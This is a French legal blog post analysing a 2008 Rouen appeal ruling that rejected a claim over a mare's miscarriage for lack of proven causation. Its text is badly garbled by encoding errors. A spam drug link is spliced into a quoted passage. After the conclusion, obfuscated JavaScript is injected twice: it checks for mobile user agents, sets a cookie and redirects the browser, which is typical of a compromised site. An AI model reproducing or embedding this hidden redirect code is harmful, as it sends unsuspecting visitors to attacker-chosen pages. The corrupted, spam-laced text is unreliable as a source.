CA Rouen, 31 janvier 2008 (nAi?? 07/233) : avortement dai??i??une pouliniA?re, faute etai??i?? lien de causalitAi?? ?

On ne leAi??rAi??pAi??teraAi??jamais assezAi??: un dossier se gagne sur le droit (bien sAi??r) mais aussi sur les piA?ces. Lai??i??espA?ce, objet de notre Ai??tudeAi??aujourdai??i??hui, ne fait pasAi??exceptionAi??Ai?? la rA?gle puisque les piA?ces produites nai??i??ont pas permis de prouver lai??i??existence dai??i??un lien de causalitAi?? entre lai??i??incident et le prAi??judice subi.

* * * * *

Les faits Ai??taient les suivantsAi??: Ai?? lai??i??automne 2003, la pouliniA?re (dAi??nommAi??e H) des Ai??poux X Ai??tait pleine. Pour quai??i??elle soit bien tranquille et comme chaque annAi??e, il lai??i??avait mise avec dai??i??autres juments dans les herbages entourant leur propriAi??tAi??. Mais, le 31 dAi??cembre 2003, un cheval entier appartenant Ai?? leur voisin ai??i?? Monsieur A ai??i?? a rAi??ussi Ai?? pAi??nAi??trer dans cet herbage aprA?s avoir endommagAi?? la clA?ture. Il ressorts des dires des Ai??poux X que ce dernier aurait agressAi?? les juments.

Malheureusement, la pouliniA?re H avorta le 17 fAi??vrier 2004.

Les Ai??poux X ont donc assignAi?? Monsieur A pour le voir dAi??clarer responsable du prAi??judice subi suite Ai?? lai??i??agression de lai??i??entier et lai??i??avortement de la pouliniA?re, pour obtenir des dommages et intAi??rA?ts. Le tribunal dai??i??instance de Rouen nai??i??a pas fait droit Ai?? leurs demandes et les a dAi??boutAi??s de lai??i??ensemble de leurs demandes le 14 novembre 2006, jugeant que le lien de causalitAi?? entre lai??i??intervention du cheval le 31 dAi??cembre 2003 et lai??i??avortement survenu le 17 fAi??vrier 2004 nai??i??Ai??tait pas Ai??tabli.

Les Ai??poux X ont interjetAi?? appel de cette dAi??cision, soutenant notamment que Ai??Ai??leur jument (ai??i??) Ai??tait en gestation depuis 8 mois lorsquai??i??elle a Ai??tAi?? agressAi??e par le cheval [de Monsieur] A et quai??i??il rAi??sulte des piA?ces et notamment des certificats Ai??manant de M[onsieur] B, leur vAi??tAi??rinaire, dai??i??une part que la pouliniA?re Ai??tait en bonne santAi?? avant lai??i??agression et dai??i??autre part quai??i??en lai??i??absence dai??i??autre hypothA?se, seul le stress consAi??cutif aux faits peut A?tre la cause directe de lai??i??avortement shop for dostinex Ai??Ai??.

Toutefois, la Cour dai??i??appel de Rouen nai??i??a pas Ai??tAi?? plus rAi??ceptive que la juridiction de premiA?re instance et a dAi??boutAi?? les Ai??poux X au motif que la Ai??Ai??dAi??monstration dai??i??un lien de causalitAi?? entre les faits du 31 dAi??cembre 2003, dont les circonstances restent peu dAi??terminAi??es, et ceux du 17 fAi??vrier 2004 dont lai??i??origine nai??i??est pas justifiAi??eAi??Ai?? Ai??tait absente.

En effet, en lai??i??espA?ceAi??:

  • Tout dai??i??abord, les circonstances de lai??i??incident du 31 dAi??cembre 2003 Ai??taient mal dAi??terminAi??es en ce sens que les Ai??poux X nai??i??ont pas rAi??ussi Ai?? prouver lai??i??agression de la pouliniA?re par lai??i??entier mais simplement lai??i??intrusion de celui-ci dans le prAi?? des juments,
  • Par ailleurs, le fait que lai??i??avortement se soit produit six semaines aprA?s lai??i??incident rend encore plus difficile la preuve du lien de causalitAi??,
  • Enfin, si le vAi??tAi??rinaire a bien produit une attestation, celui-ci sai??i??est contentAi?? dai??i??attester plus de trois ans aprA?s lai??i??incident Ai??Ai??dai??i??une part que [H] a produit chaque annAi??e en 2005, 2006 et 2007 un poulain viable, et dai??i??autre part que cette jument a avortAi?? en 2004 « suite Ai?? lai??i??agression dai??i??un Ai??talon du voisinage en raison du stress dAi?? Ai?? lai??i??acharnement de ce mA?le »Ai??.

Selon les juges de la Cour dai??i??appel, cette attestation nai??i??a pas apportAi?? la preuve du lien de causalitAi?? car (i) le vAi??tAi??rinaire nai??i??avait aucunement attestAi?? de lai??i??Ai??tat de santAi?? de la jument durant la pAi??riode des six semaines (entre lai??i??incident et lai??i??avortement) et (ii) celui-ci nai??i??Ai??tait pas prAi??sent lors de lai??i??incident du 31 dAi??cembre 2003, de sorte que dai??i??autres Ai??vAi??nements auraient pu A?tre la cause de lai??i??avortement.

Lai??i??absence de lien de causalitAi?? a ainsi empA?chAi??, en lai??i??espA?ce, de retenir la responsabilitAi?? du propriAi??taire de lai??i??entier dans lai??i??avortement de la pouliniA?re.

* * * * *

La nAi??cessitAi?? dai??i??un lien de causalitAi?? entre la faute (lai??i??intrusion de lai??i??entier) et le dommage (lai??i??avortement de la pouliniA?re) sai??i??impose quelle que soit la nature de la responsabilitAi?? civile (contractuelle ou dAi??lictuelle).

Il est bien utile de rappeler que concernant la responsabilitAi?? dAi??lictuelle (comme cai??i??est le cas dans lai??i??affaire prAi??citAi??e), lai??i??exigence dai??i??un lien de causalitAi??Ai?? sai??i??impose quel que soit le fait gAi??nAi??rateur de responsabilitAi??Ai??: fait personnel, fait dai??i??autrui, fait des choses. Et, cai??i??est bien Ai??videmment au demandeur de prouver lai??i??existence de ce lien. A bon entendeurai??i?? (0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}http://deustotechlife.deusto.es/wordpress/?p=3891

Laissez un commentaire

Vous devez être connecté pour laisser un commentaire.